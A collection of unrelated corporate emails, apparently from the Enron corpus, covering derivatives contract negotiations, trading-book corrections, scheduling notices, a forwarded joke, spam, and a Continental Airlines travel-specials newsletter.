Villeggiante	Theresa	1	9:30 - 10:00	
Warner	Nicholas	1	9:30 - 10:00	
Wente	Laura	1	9:30 - 10:00	
Williams	Bill	1	9:30 - 10:00	
Semperger	Cara	2	10:00 - 10:30	
Van Gelder	Jon	2	10:00 - 10:30	
	Total Doses	64		

Dutch:
The increase in position and subsequent position limit violation was due to 
two factors.  First, a long position was moved into the long-term exotics 
book due to the nature of the position.  I am currently using the ltx to hold 
longer-term strategic positions.  The large increase in position is a 
reflection of my view of the market. 
Second, a large customer transaction originated by Fred Lagrasta's group was 
transacted at the end of the day Monday and was not able to be hedged until 
this morning.  Hence a large position increase occurred for yesterday's 
position and a corresponding decrease occurred today.
John

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Susan:  I need to review with Brant but here's your copy.  Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 12/18/2000 09:09 AM -----

	"Peters, Jason" <jasonpeters@akllp.com>
	12/18/2000 09:01 AM
		 
		 To: <sara.shackleton@enron.com>
		 cc: <trevor.mihalik@bhlp.com>, <brant.reves@enron.com>
		 Subject: Schedule to Master Agreement - Bridgeline/ENA

 <<Blackline 594071.3 vs. .2 Schedule to Master Agreement - Bridgeline
Gas Marketing.DOC>>

Sara,

Attached for your review, please find a blacklined copy of the
above-referenced ISDA marked to show changes to the previously
distributed draft.  Please call me at 713-220-4124 with any comments or

Jason
 - Blackline 594071.3 vs. .2 Schedule to Master Agreement - Bridgeline Gas 
Marketing.DOC

Hey, make sure you don't migrate your old last name over to UBS.  You are coming up out of Egypt and need your Freeland name.   

From: 	Semperger, Cara  
Sent:	Wednesday, February 06, 2002 10:33 AM
Subject:	<<GIVE YOUR COMPLIANCE FORMS TO ME BY THE 8TH>>

**For New UBS employees***

I am going to send all of our File Migration compliance forms in one batch, so give them to me when you have signed the Document Migration Certificate. I will be sending this the evening of the 8th.

If you don't know who I am or what this is about, ask Dave Steiner or any of the Admins.

Thanks,

Cara Freeland

Reminder
The Enron Oral History Project Continues...

"Using History to Help Enron Become the World's Leading Company"

How can an understanding of strategic choices, regulatory change and corporate culture help Enron achieve its vision?

Speaker:
Joseph Pratt, Cullen Professor of History and Business, University of Houston
and
 Co-Director, Enron Oral History Project

Thursday, June 7
11:30 a.m. to 12:30 p.m.
EB 5C2

To Make a Reservation, Call 3-1941 and Select Option 1

Lunch will not be provided, but you are welcome to bring your own.

Please inform us ahead of time if you need special accommodations to participate in this meeting.  Call 3-9390.

Good Afternoon:

Reminder - this Thursday the SVMG and NRDC will be conducting it's first
Energy Web-Cast Seminar.  Join our Web Seminar where we will discuss updates
on the California situation, risks California businesses face, ways to
reduce risk, and incentive programs that pay for conservation.

The Web-Cast will air at 11:00am and 2:00pm on Thursday, May 24.  To join
the seminar Register ONLINE! at
http://www.siliconenergy.com/cics/register_svmg.asp, or by phone at
1-877-749-9400.  This will be the first of many collaborative efforts of the
SVMG and the NRDC.

Register Now!

Start Date: 2/27/01; HourAhead hour: 15;  No ancillary schedules awarded.  

Schedules\2001022715.txt

     Details: (Hour: 15 / Preferred: 165.67 / Final: 164.67)
  TRANS_DATE: 2/27/01

---------------------- Forwarded by Sara Shackleton/HOU/ECT on 04/26/2000 
11:14 AM ---------------------------
   
	From:  Ed Wood                           04/25/2000 07:22 PM
	
To: Sara Shackleton/HOU/ECT@ECT
cc:  
Subject: Re: Margin Agreements (Smith Barney, Bank One, ABN Amro)  

Here's the comparison chart. We've gone as far as we can with SSB. The ball 
is in the traders' court to look at, and approve, the numbers. I don't know 
when, if ever, they'll do that. They don't seem as interested as they once 
were. I think we're more or less on hold waiting for them. SSB is aware of 
the development and said they will push the traders independently.

My schedule is fairly flexible so let me know when you'd like to meet.

Ed Wood

Steve,  Let's take out the reference to approaching the FERC in this letter.  
I would emphasize that they have had more than enough time for a response and 
while we would like to think they are cooperating, the lack of response 
little reason to believe otherwise.  Suggest that any further delay would 
require us to explore all our options for access into CMS.

At this point I would feel more comfortable with suggesting we would need to 
go to FERC via a phone conversation with CMS.   Let me know if you want to 
discuss this further.  

	From:  Steve Morse                           01/18/2000 10:34 AM
	
To: Gerald Nemec/HOU/ECT@ECT
cc: Stephanie Miller/Corp/Enron@ENRON 
Subject: Trunkline Response letter

Gerald,

Please provide your comments, I would like to have this sent to their offices 
tomorrow by courrier no later than 10am.

Please provide any comments or suggestions.

Thanks,

Steve Morse

   Subject: Whalley's Budget Meeting

   Date:  Tuesday, June 12

   Time:  11:00 a.m. CST

   Location: EB32C2

Please notify me only if you are unable to attend. 

Liz Taylor x31935

Kim,
 
The attached file contains a recap of the Timberline program results with a few mods.  Basic information covers what Earl and I talked about today.  Caithness engineer and Earl have discussed the use of an Ultrasonic with all of the accessories.  All of the estimates provided in the past year have been Level A's.  If we wnat a contract quality number, we need to get Engineering involved in the cost estimate.  
 
Caithness Big Sandy was not willing to spend money on an estimate when Jeff, Earl, and I met with them early in the project.  Maybe they will change their minds since the project is progressing.  Kim, let's talk with them tomorrow to feel them out.  Let me know what you think.  
 
THIS IS A +30% COST ESTIMATE.
 
when you're chief of staff, you get all the fun....

	9069761@skytel.com
	05/09/2001 03:34 PM
		 
		 cc: 
		 Subject: 

Reply Message: 
Reply from STEVEN KEAN  is No to Jeff.Dasovich@enron.com||give a gray a big 
hug for

Original Message: 
Jeff.Dasovich@enron.com||give a gray a big hug for me.  best, jeff

I think we were under the impression that this was a name change.

From: Tana Jones on 11/14/2000 03:12 PM
To: Tanya Rohauer/HOU/ECT@ECT, Bradley Diebner/HOU/ECT@ECT
cc:  
Subject: Calpine Power Services/Calpine Energy Services

This Counterparty is on the 11/9/00 EOL List.  We have received documentation 
that reflects that Calpine Power Services Company, an entity where we have an 
ISDA Master in place, has merged with and into Calpine Energy Services, L.P., 
an entity where we don't have an ISDA in place with.   Is Credit OK with this 
merger?

Dear all,

Regarding the email I sent below, for deal #442038 and #442872, they were originally entered in Oct, 2000 for ST-Whourly book to receive annuity amount of $53,518.94 from Saguaro and $172,518.16 from Las Vegas Cogen respectively. However, they were supposed to be for ST-Wserv to receive those money because at that time, ST-WServ book was not set up yet. These amounts had already gone through to ST-Whouly book in 11/30/00 P&L as PMA. In Jun 2001, the deals were changed to ST-WServ book but they were not actually picked up by settlement and Risk (as the deals have already liquidated, i.e., strip dates are passed). In order to reflect the change in desk, we need to put in two annuities today:

#683673 - St-Wserv sell to St-Whourly for $53,518.94

#683684 - St-Wserv sell to St-Whourly for $172,518.16

These amounts will be showing up in 7/12 P&L as New Deals for a total of $226,037.10 (inflow to St-WServ and outflow to St-Whourly).

Please let me know if you have any questions.

Samantha

From: 	Law, Samantha  
Sent:	Thursday, July 12, 2001 11:17 AM
To:	Hyde, Godfrey
Cc:	Postlethwaite, John; Chang, Fran; Rawson, Lester; Foster, Chris H.; Clemons, Amy; Confer, Mark
Subject:	RE: Annuities for Desk Analysis in ST-WServ book

[I have sent out this email earlier but I needed to revise it so I recalled it. For those of you who received the earlier version, please just discard it.]

Hi Godfrey,

I would like to summarize our discussion on those deals we have had questions about (as described in the previous emails), in terms of when and how they will be come through or corrected in the coming future. Please review and let me know if they are not correct:

1. #442038 - the change in the annuity amount of $4,706.28 (from $53,518.94 to $48,812.66) will be coming through in June desk analysis (= PMA at the end of July) as an outflow to ST-WServ book. 
Chris and Les - I will put in a new annuity deal for the amount of $53,518.94 for St-WServ book sell to St-Whourly to reflect the change in desk (from St-Whourly to St-WServ) of the deal; the desk change made on 4/17 was not picked up by settlement as they were not informed. With the adjustment, the net effect of $48,812.66 will be given back to WServ.

2. #584331 - it will come through in June desk analysis

3. #600480 & #595779 - since these are interdesk deals, we will take care of it by entering two new annuity deals today (#680210 & #680220). They were not picked up by settlement as PMA when they were entered on 5/2 & 4/29 because they were interdesk deals.

4. #598971(leg 1-5) - they will show up in July desk analysis (= PMA at the end of August)

5. #442872 - the change in the annuity amount of $126,542.87 (from $172,518.16 to $45,975.29) will be coming through in Jun desk analysis as an outflow to ST-WServ book.
Again, the change in desk (from St-Whouly to St-WServ) will then be reflected by a new annutiy deal for $172,518.16 with ST-WServ sell to ST-Whouly.

6. #666350 & #666351 - they will show up in June desk analysis (= PMA at the end of July)

Please feel free to correct or add anything to the above information.

Thanks,
Samantha
503.464.7248

Per my voice mail.
---------------------- Forwarded by Christi L Nicolay/HOU/ECT on 05/22/2001 
04:28 PM ---------------------------

"Dan Watkiss" <dwatkiss@bracepatt.com> on 05/22/2001 10:43:59 AM
To: <christi.L.nicolay@enron.com>
cc: <Sarah.Novosel@enron.com> 

Subject: Arizona Public Service v. FERC

I think that you should intervene and possibly take an active role for a 
number of reasons.  Only if Enron were to win outright in the S.Ct. would 
petitioners' challenge in Arizona become moot.  But as we have always 
cautioned, the likelihood of overturning FERC and getting an S. Ct. decision 
putting all transmission on the OATT remains a long shot.  It is more likely 
that FERC will be affirmed and the DC Circuit's deference to FERC will remain 
as to what it must be unbundled.  In that scenario, it will be important to 
Enron that the Arizona precedent be upheld against challenge.  Specifically, 
that precedent is that once retail choice is implemented, all transmission 
becomes unbundled and subject to the OATT, even if later bundled in a default 
standard offer.   Absent legislation, this precedent and the lackadaisical  
RTOs are the only apparent vehicles for expanding open-access in the near 
term.

For these reasons, Enron should intervene at minimal cost and monitor how 
well FERC defends itself.  If FERC does a good job, that will be the end of 
its.  However, if FERC does a poor job, Enron should then consider filing a 
supporting brief.

Call me when you have a chance
----- Forwarded by Sara Shackleton/HOU/ECT on 08/24/2000 09:11 AM -----

	08/24/2000 08:14 AM
		 
		 To: Sara Shackleton/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT
		 cc: 
		 Subject: Enron/McGarret C

EB 3892
----- Forwarded by Carol St Clair/HOU/ECT on 08/24/00 08:11 AM -----

	"CHRIS KRECEK" <KRECC@andrews-kurth.com>
	08/23/00 02:47 PM
		 
		 To: <alan.quaintance@enron.com>, <brenda.l.funk@enron.com>, 
<Carol.St.Clair@enron.com>, <charles.delacey@enron.com>, 
<Clement.abrams@enron.com>, <David.roland@enron.com>, 
<Gina.Karathanos@enron.com>, <joel.ephross@enron.com>, 
<tina.livingston@enron.com>, <Trevor.Randolph@enron.com>, 
<trushar.patel@enron.com>, <mniebruegge@mayerbrown.com>, 
<tellwood@mayerbrown.com>, <eawilburn@prickett.com>, <Tamullen@prickett.com>, 
<kenton@rlf.com>, <Mercedes.arango@us.cibc.com>, <schottla@us.cibc.com>, 
<wolfmark@us.cibc.com>, <ARoberts@WilmingtonTrust.com>
		 cc: "David Barbour" <BARBD@andrews-kurth.com>, "MURIEL McFARLING" 
<MCFAM@andrews-kurth.com>, "Michael Thimmig" <THIMM@andrews-kurth.com>

In connection with the Hawaii 125-0 McGarret C transaction scheduled to close 
August 31, 2000, attached in WordPerfect format are the following closing 
documents marked against the McGarret B Series:

Closing Checklist (254308);
Asset Notice (254309);
Series Certificate of Beneficial Ownership (254316);
Series Supplement (254319);
Drawdown Request (254322);
Total Return Swap Confirmation (254324);
Put Option Agreement (254334);
Put Option Assignment (254341);
Notice of Put Option Assignment (254345);
Promissory Note (Big Island III) (254347);
B Interest Assignment Agreement (254349);
Warrant Assignment (254351);
Amended and Restated LLC Agreement (McGarret III) (254352);
Amended and Restated LLC Agreement (Big Island) (254356);
Receipt of Asset LLC (254362);
Receipt of Transferor (254365);
Receipt of Trust (254366);
Independent Auctioneer Letter Agreement (254369);
Sale and Auction Agreement (254372);
Direction Letter (254376); and
General Opinion of A&K (254385).

If you have any questions or comments, please call Muriel McFarling at (214) 
659-4461.  Thank you.

 - 254385.wpd
 - 254309.wpd
 - 254316.wpd
 - 254319.wpd
 - 254322.wpd
 - 254324.wpd
 - 254334.wpd
 - 254341.wpd
 - 254345.wpd
 - 254347.wpd
 - 254349.wpd
 - 254351.wpd
 - 254352.wpd
 - 254362.wpd
 - 254365.wpd
 - 254366.wpd
 - 254369.wpd
 - 254372.wpd
 - 254376.wpd
 - 254308.wpd

Sure, no problem.

Mark, are you anticipating that your portion of this request will be complete 
today?  If so, send your completed package to me, I will add my data and send 
it to Kurt Anderson.

Matt Meyers

---------------------- Forwarded by Matthew Meyers/EWC/Enron on 03/21/2002 
02:17 PM ---------------------------

Hollis Kimbrough
03/21/2002 01:27 PM
To: Matthew Meyers/EWC/Enron@Enron
cc:  

Subject: Re: Work Request 574  

Matt,

Assuming the WR completes today, I was hoping you would take the lead on 
distributing the final work product for WR 574.

Regards,
Hollis

not yet...

I think Webb and I will need to schedule a game (which will be difficult).    
After that, it looks like we would play the aggies this weekend or next.

It is uncertain if AC will be party these games.

From: Harris, Margaret 
Sent: Wednesday, February 06, 2002 11:07 AM
To: Parks, Kim
Subject: FW: Happy Valentines Day

   Little David comes home from first grade and tells his father that they
>   learned about the history of Valentine's Day.  "Since Valentine's day
>   is for a Christian saint and we're Jewish," he asks, "will God get mad
>   at me for giving someone a valentine?" David's father thinks a bit,
>   then says "No, I don't think God would get mad. Who do you want to give
>   a valentine to?" "Osama Bin Laden," David says.
>   "Why Osama Bin Laden," his father asks in shock.
>   "Well," David says, "I thought that if a little American Jewish boy
>   could have enough love to give Osama a valentine, he might start to
>   think that maybe we're not all bad, and maybe start loving people a
>   little bit. And if other kids saw what I did and sent valentines to
>   Osama,
>   he'd love everyone a lot.  And then he'd start going all over the place
>   to
>   tell everyone how much he loved them and how he didn't hate anyone
>   anymore."
>   His father's heart swells and he looks at his boy with newfound pride.
>   "David, that's the most wonderful thing I've ever heard." "I know,"
>   David says, "and once that gets him out in the open, the Marines could
>   blow the shit out of him
>

 Dear Friend,  
We at Hot Deals value  you as one of our opt-in subscribers. 
We hope you enjoy and benefit from our efforts to send you the best
offers available on the internet. Recently we have received a number 
of request from both customers and advertisers?asking that we make
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After reviewing your request, we have decided to develop very strict 
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We appreciate your membership  and wish to thank you for your efforts in
helping us to better know and serve your personal interest!Click Here 
Thank You.
 
This request has been pending your approval for  3 days.  Please click http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000079989&Page=Approval to review and act upon this request.

Request ID          : 000000000079989
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Requested For       : brian.redmond@enron.com
Resource Name       : eConnect - VPN  Tier 2 - Full Access
Resource Type       : Applications

Mike is still entering his deals. These are good, and should be seen in the 
system momentarily.

Kate

01/18/2001 02:08 PM
cc:  

Subject: 1/18/01 Checkout

I am missing the following deals per Prebon

Mike Swerzbin buys from Morgan Stanley 25 mw of off-peak Mid-C for Q2'01   at 
$214.00 
Mike Swerzbin sells to Morgan Stanley 25 mw of off-peak NP-15 for Q2'01   at 
$105.00 

---------------------- Forwarded by Robin Rodrigue/HOU/ECT on 02/28/2001 
07:33 AM ---------------------------

Robin Rodrigue
02/28/2001 06:38 AM
To: Kori Loibl/HOU/ECT@ECT
cc:  
Subject: VAR

2/27/01  MANAGEMENT-COAL 0
2/27/01  MANAGEMENT-CRD 0
2/27/01  MANAGEMENT-GAS 881,664.
2/27/01  MANAGEMENT-PWR 177,139.
2/27/01  AGG-MANAGEMENT 984,782

Trena:  We have ISDA agreements as follows:

(1)  CIBC
 (a)  Enron Corp. has a 1/17/96 master and CIBC is designated as multibranch 
to act through offices in Tokyo, London and New York.  If this agreement is 
used, we need to add FX/currency provisions.
 (b)  ENA has a 10/1/94 master and CIBC is designated as multibranch to act 
through offices in Toronto, Tokyo and London.  The agreement was amended on 
5/24/96 (to add a collateral annex), on 7/27/97 t(o add FX/currency option 
and FRABBA provisions) and on 1/13/00 (to amend thresholds).

(2)  Deutsche Bank AG 
 ENA is in the process of negotiating an ISDA master agreement.  We are 
speaking with Stephen Kessler (legal) in New York.

(3)  Commerzbank AG
 ENA is in the process of negotiating an ISDA master agreement.  We sent a 
draft ISDA to Terence Zahner in New York on 10/6/99.  This was suppose to be 
forwarded to lawyers in Germany.  We left a message for someone named Roger 
Ackerman in NY in March, 2000.

(4)  Metall Bank - NOTHING

Please let me know if you need anything further.  Sara

	Trena McFarland
	07/18/2000 09:58 AM
		 
		 To: William S Bradford/HOU/ECT@ECT, Sheila Glover/HOU/ECT@ECT, Sara 
Shackleton/HOU/ECT@ECT
		 cc: 
		 Subject: 

Bill

You are probably aware that Enron has gone unconditional on its offer to buy 
MG, a metal company here in London.
The objective is to integrate with them ASAP and as smoothly as possible.

I made a visit with MG today and talked to their FX trader who said that he 
trades with the following banks:
CIBC
Deutche Bank
Commerz Bank
Metall Bank

Can you please tell me what lines we have in place with these, if any at all.

Sara
Do we have isdas etc in place?

Most of the trades are spot or 3mth forward, but some trades are up to four 
years out.

Thanks
Trena

Hi Vince

Just wanted to thank you for your participation at POWER 2000  last week and 
for contributing to the success of the conference. The feedback we  received 
was absolutely glowing and we were delighted with the smooth-running of  the 
event. Thank you for being a key part of that. As always, your presentations  
went down extremely well and your presence at our events makes a big 
difference,  as people are alwyas keen to hear both form you personally and 
from ENRON as a  company.

As I mentioned to you, I have recently been given the  responsibility of 
creating and developing a new conference stream in the  financial technology 
sector under the Waters brand, so I would like to take this  opportunity to 
say how much I have enjoyed working with you in the past couple  of years and 
to wish you the best of luck in the future. Please stay in touch  and if you 
come to New York, please let me know so I can take you out for a  drink!

Best regards and thank you again both for your patience in  helping me 
research topics and for being so willing to participate at our  events.
Emma
?
?
Emma Wolfin
Manager, Waters  conferences
Tel 212 925 1864 ext 151

This is an automated function of Deal Blotter. I have called Will Smith to 
let him know it's malfunctioning; but all deals not using NP15, SP15, or ZP26 
should default to Firm Energy. I've also changed the energy to Firm in Deal 
#458255. If you could let me know the other deal numbers that need to be 
changed, I'll follow up with those too.

Thanks,
Kate

Stephanie Piwetz   11/14/2000 02:16 PM

To: Carla Hoffman/PDX/ECT@ECT, Kate Symes/PDX/ECT@ECT
cc:  

Subject: Mark Fischer

Hello-
Looks like alot of Mark Fischer's west deals are coming over as CAISO firm 
energy, for example deal 458255.01.  Please change, needs to be Frim Energy, 
we will need to revise the Confirmation Letter.  CAISO energy on NP 15, SP 
15, and Zp 26 delivery points only.

Thank you
Stephanie

Joshua Koenig will be reporting to Bryce Baxter (Mechelle Stevens will be his 
lead) and will be working on the A/R and A/P reconciliation project.  Jolly 
Jose will be joining the risk team.  Our current plan is for him to help with 
the day-to-day P&L preparation activities on the East Desk along with any 
other projects that arise.  Jolly will report to Will Kelly (David Oliver 
will be his lead).  I have forwarded the summer schedule to Bryce and Will.  
We will make every effort to ensure the interns' have a good experience.

	From:  Sally Beck                           05/19/2000 10:01 AM
	
To: Kristin Albrecht/HOU/ECT@ECT, Sheila Glover/HOU/ECT@ECT, D Todd 
Hall/HOU/ECT@ECT, Peggy Hedstrom/CAL/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, 
Michael E Moscoso/HOU/ECT@ECT, Eugenio Perez/HOU/ECT@ECT, Brent A 
Price/HOU/ECT@ECT, Leslie Reeves/HOU/ECT@ECT, Stephen P Schwarz/HOU/ECT@ECT, 
James Scribner/Corp/Enron@Enron, Mary Solmonson/HOU/ECT@ECT, Sheri 
Thomas/HOU/ECT@ECT, Scott Mills/HOU/ECT@ECT, Susan Harrison/HOU/ECT@ECT
cc:  
Subject: Please Respond Promptly re: Summer Analysts

According to records from the Analysts Program, the following interns will be 
working within Energy Operations during the summer.  The assignment stated 
below is as reflected in the program's spreadsheet.  

Name   School   Start Date Assignment

Luna Carlson  University of Florida  July 5  ENA - Risk Reporting and Analysis

Joshua Koenig  University of Florida  May 22  Energy Operations - Gas 
Operations Management

Jolly Jose  University of Houston  June 5   Energy Operations - Gas 

Michael Taylor  LSU    May 22  Central Desk Logistics 

Daniel Graham  Morehouse   May 15  ENA - Financial Settlements

Angelique Woods University of Texas  May 22  ENA - Risk Management

First, please respond to me today and let me know to whom the analyst will be 
reporting and what their responsibilities will be for the summer.  Hopefully 
none of this is a surprise and the appropriate arrangements have been made 
for desk, phone and computers for all.  

Secondly, please make a point of seeking out these interns and welcoming them 
to Enron.  

Finally, after I know where these analysts are placed, we will have a brief 
meeting with the analysts' managers and any of you under whom they will be 
working to discuss ideas on making the analysts assignments meaningful this 
summer.  I welcome ideas on this from any of you.     

Attached is a news release issued by FERC regarding the Show Cause Order 
issued against AES and Williams.

 - NR01-15.1

CO.O.L. TRAVEL SPECIALS
DOMESTIC U.S.
Wednesday, November 29, 2000

TELL A FRIEND ABOUT CO.O.L. TRAVEL SPECIALS=20
Don=01,t keep these great deals to yourself. Let your friends in on the
good news by forwarding this copy of CO.O.L. Travel Specials so they
can also take advantage of this week=01,s deals. CO.O.L. Travel Specials=20
don=01,t last long, so send this to your friends and then book your eTicket=
=20
today at  www.continental.com=20

TABLE OF CONTENTS FOR CO.O.L. TRAVEL SPECIALS
1. CO.O.L. Travel Specials Offers
2. Featured Fares Sample Destinations
3. Alamo Rent A Car Offers
4. National Car Rental Offers
5. Sheraton, Westin, and Four Points Hotel Offers
6. Hilton Hotel Offers

This week's specials are good for the following markets departing Saturday,
December 2 and returning on either Monday, December 4 or Tuesday, December
5, 2000.  Please see the Rules/Terms and Conditions listed at the end of
this e-mail.
 1.  CO.O.L. Travel Specials Offers =20
Purchase CO.O.L. Travel Specials online until 11:59pm (CST) Friday at
www.continental.com
You can also purchase CO.O.L. Travel Specials for an additional cost of $20
per ticket through our telephone service at 1-800-642-1617.

TRAVEL MAY ORIGINATE IN EITHER CITY
****Roundtrip BETWEEN CLEVELAND, OH and:
$109 - Albany, NY
$99 - Buffalo, NY
$99 - Dayton, OH
$99 - Fort Wayne, IN
$129 - Kansas City, MO
$99 - Lansing, MI
$209 - Los Angeles, CA
$109 - Milwaukee, WI
$109 - New York  (LaGuardia only)=20
$109 - New York/Newark (Newark only)=20
$129 - Providence, RI
$119 - Raleigh Durham, NC

****Roundtrip BETWEEN HOUSTON, TX and:
$139 - Albuquerque, NM
$139 - Amarillo, TX
$89 - Austin, TX
$99 - Baton Rouge, LA
$129 - Birmingham, AL
$159 - Boston, MA
$89 - Brownsville/South Padre Island, TX
$139 - Columbia, SC
$179 - El Paso, TX
$109 - Killeen, TX
$99 - Lafayette, LA
$139 - Laredo, TX
$119 - Lubbock, TX
$99 - McAllen /Rio Grand Valley, TX
$119 - Midland/Odessa, TX
$199 - Oakland, CA
$199 - San Jose, CA
$99 - Shreveport, LA
$109 - Victoria, TX
$169 - Washington, DC (Dulles Airport only)=20
$169 - Washington, DC (National Airport only)=20

****Roundtrip BETWEEN NEW YORK/NEWARK and:
$159 - Albany, NY
$89 - Buffalo, NY
$89 - Burlington, VT
$129 - Greensboro/Piedmont Triad, NC
$129 - Hartford, CT
$139 - Jacksonville, FL
$139 - Kansas City, MO
$139 - Nashville, TN
$109 - Norfolk, VA
$109 - Providence, RI
$109 - Richmond, VA
$89 - Rochester, NY
$209 - San Jose, CA=20

 2.  FEATURED FARES SAMPLE DESTINATION=20
Choose your fare, find your flight. Or, quickly sift through all our great
featured fares by choosing a destination or origin. Be spontaneous. Get out
of town. Current Featured Fares destinations include:

New York, Philadelphia, Los Angeles, San Francisco,
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and purchase our Featured Fares, visit the website at:

(Capacity controls and other restrictions apply)

 3.  CO.O.L. TRAVEL SPECIALS FROM ALAMO RENT A CAR =20
This week, Alamo (R) offers great rates in the following cities. Rates
listed below are valid on compact class vehicles at airport locations
listed.  Other car types may be available. Rates are valid from Saturday,
December 2 to Tuesday, December 5, 2000.
-------------------------------
$26 a day in:  Albuquerque, NM (ABQ)=20
$20 a day in:  Austin, TX (AUS)=20
$26 a day in:  Hartford, CT (BDL)=20
$18 a day in:  Birmingham, AL (BHM)=20
$18 a day in:  Nashville, TN (BNA)=20
$26 a day in:  Boston, MA (BOS)=20
$18 a day in:  Buffalo, NY (BUF)=20
$20 a day in:  Cleveland, OH (CLE)=20
$18 a day in:  Washington, DC (DCA)=20
$18 a day in:  Greensboro, NC (GSO)=20
$18 a day in:  Washington, DC (IAD)=20
$18 a day in:  Houston, TX (IAH)=20
$26 a day in:  Jacksonville, FL (JAX)=20
$20 a day in:  Los Angeles, CA (LAX)=20
$18 a day in:  Kansas City, MO (MCI)=20
$18 a day in:  Milwaukee, WI (MKE)=20
$26 a day in:  Providence, RI (PVD)=20
$18 a day in:  Raleigh-Durham, NC (RDU)=20

To receive special Continental CO.O.L. discounted rates, simply make advanc=
e
reservations and be sure to request ID # 596871 and Rate Code 33. Book your
reservation online at:
 www.alamo.com
or contact Alamo at 1-800 GO ALAMO.

*If you are traveling to a city or a different date that is not listed,
Alamo offers you up to 20% off their retail rates when you book online at:=
=20
 www.alamo.com=20

For complete details on these offers, please refer to Alamo's terms and
conditions below.

  4.  CO.O.L. TRAVEL SPECIALS FROM NATIONAL CAR RENTAL =20
This week, National (R) offers great rates in the following cities. Rates
$27 a day in:  Albuquerque, NM (ABQ)=20
$19 a day in:  Amarillo, TX (AMA)=20
$21 a day in:  Austin, TX (AUS)=20
$27 a day in:  Hartford, CT (BDL)=20
$19 a day in:  Birmingham, AL (BHM)=20
$19 a day in:  Nashville, TN (BNA)=20
$27 a day in:  Boston, MA (BOS)=20
$19 a day in:  Buffalo, NY (BUF)=20
$19 a day in:  Columbia, SC (CAE)=20
$21 a day in:  Cleveland, OH (CLE)=20
$19 a day in:  Dayton, OH (DAY)=20
$19 a day in:  Washington, DC (DCA)=20
$19 a day in:  Greensboro, NC (GSO)=20
$19 a day in:  Washington, DC (IAD)=20
$19 a day in:  Houston, TX (IAH)=20
$27 a day in:  Jacksonville, FL (JAX)=20
$21 a day in:  Los Angeles, CA (LAX)=20
$19 a day in:  Lubbock, TX (LBB)=20
$27 a day in:  Lafayette, LA (LFT)=20
$45 a day in:  New York, NY (LGA)=20
$21 a day in:  Midland, TX (MAF)=20
$19 a day in:  Kansas City, MO (MCI)=20
$27 a day in:  McAllen, TX (MFE)=20
$21 a day in:  Oakland, CA (OAK)=20
$19 a day in:  Norfolk, VA (ORF)=20
$19 a day in:  Raleigh-Durham, NC (RDU)=20
$21 a day in:  Richmond, VA (RIC)=20
$19 a day in:  Rochester, NY (ROC)=20
$21 a day in:  San Jose, CA (SJC)=20

To receive your special Continental Airlines CO.O.L. Travel Specials
discounted rates, simply make your reservation in advance and be sure to
request Product Code COOLUS.  Make your reservation online or contact
National at 1-800-CAR-RENT (1-800-227-7368).  Book your reservation online
at: www.nationalcar.com

* If you are traveling to a city or a different date that is not listed,
National offers you up to 20% off their retail rates when you book online a=
t:=20
www.nationalcar.com

For complete details on these offers, please refer to National's terms and

 5.  CO.O.L. TRAVEL SPECIALS LAST-MINUTE WEEKEND RATES FROM
WESTIN, SHERATON,AND FOUR POINTS HOTELS=20
--------------------------------------
Austin, TX - Sheraton Austin Hotel $70

Birmingham, - AL Sheraton Birmingham $60=20

Boston, MA - Sheraton Lexington Inn $64=20
Boston, MA - Sheraton Boston Hotel $185=20
Boston, MA - Sheraton Braintree Hotel $103=20
Boston, MA - Sheraton Colonial Hotel and Golf Club Boston $110=20

Cleveland, OH - Four Points Cleveland South $51.00=20

Houston, TX - Sheraton North Houston at IAH  $58.00=20
Houston, TX - Sheraton Suites Houston Near the Galleria $71.00=20
Houston, TX - Sheraton Houston Brookhollow $45.00=20

Lansing, MI - Sheraton Lansing Hotel $80.00=20

Los Angeles, CA - Westin Long Beach $82.00=20
Los Angeles, CA - Four Points Santa Monica $108.00=20
Los Angeles, CA - Four points International Airport $57.00=20
Los Angeles, CA - Sheraton Gateway Hotel LAX $62.00=20
Los Angeles, CA - The Westin Los Angeles Airport $77.00=20
Los Angeles, CA - Sheraton Industry Hills  $77.00=20
Los Angeles, CA - The W Westwood Hotel, Los Angeles $191.00=20
Los Angeles, CA - Four Points by Sheraton Santa Monica $108.00=20

Nashville, TN - Sheraton Music City $77.00=20

Norfolk, VA - Sheraton Norfolk Waterside Hotel $81.00=20

Providence, RI - Sheraton Inn Providence Airport $94.00=20

Raleigh/ Durham, NC - Four Points Raleigh $51.00=20

San Jose, CA - Sheraton San Jose Hotel $57.00=20
San Jose, CA - Sheraton Sunnyvale Hotel $169.00=20

Washington, DC - The St. Regis, Washington DC $205.00=20
Washington, DC - Sheraton Suites Alexandria $79.00=20
Washington, DC - Sheraton National Hotel $69.00=20
Washington, DC - Sheraton Premier at Tysons Corner $64.00=20

Visit our site for booking these Last-Minute Weekend Rates
promo.starwood.com/csco

For complete details on these offers, please refer to the terms and

 6.  CO.O.L. TRAVEL SPECIALS ON HILTON HOTELS AND RESORTS=20
The following rates are available December 1-3, 2000 and are priced per nig=
ht.
Airport:   Albany, New York (ALB)
Rate:      $109/Night    Hilton Garden Inn Albany Airport, Albany  NY
(Adjacent to Shaker Ridge Country Club; 15 minutes from downtown Albany)

Airport:   Austin, Texas (AUS)
Rate:      $99/Night, 12/2-3  Hilton Austin North and Towers, Austin
TX    (Located 5 miles from downtown next to Highland Mall.)

Airport:   Hartford, Connecticut (BDL)
Rate:      $75/Night, 12/2-3  Hilton Hartford, Hartford  CT
(Located in downtown Hartford within walking distance to area attractions.)

Airport:   Nashville, Tennessee (BNA)
Rate:      $69/Night    Doubletree Guest Suites Nashville, Nashville
TN    (Located in the heart of all the music and excitement of
colorful Nashville, Tennessee.)

Airport:   Boston, Massachusetts (BOS)
Rate:      $189/Night    Hilton Boston Back Bay, Boston  MA    (In
Back Bay near museums, theatres, & shopping.  Walk the Freedom Trail!)

Rate:      $125/Night    Hilton Boston Logan Airport, Boston  MA
(Located at the airport and only two miles from downtown via Ted Williams
Tunnel.  Offers weekend shuttle service to downtown.)

Rate:      $129/Night    Hilton Dedham Place, Dedham  MA    (20
minutes from downtown Boston, complimentary van svc within 5 miles.)

Airport:   Cleveland, Ohio (CLE)
Rate:      $69/Night    Hilton Cleveland South, Cleveland  OH
(Located 8 miles from the Rock-n-Roll Hall of Fame and downtown
Cleveland.)

Rate:      $59/Night    Hilton Garden Inn Cleveland Airport,
Cleveland  OH    (Just two miles from Cleveland Airport, and only 12
miles from downtown.)

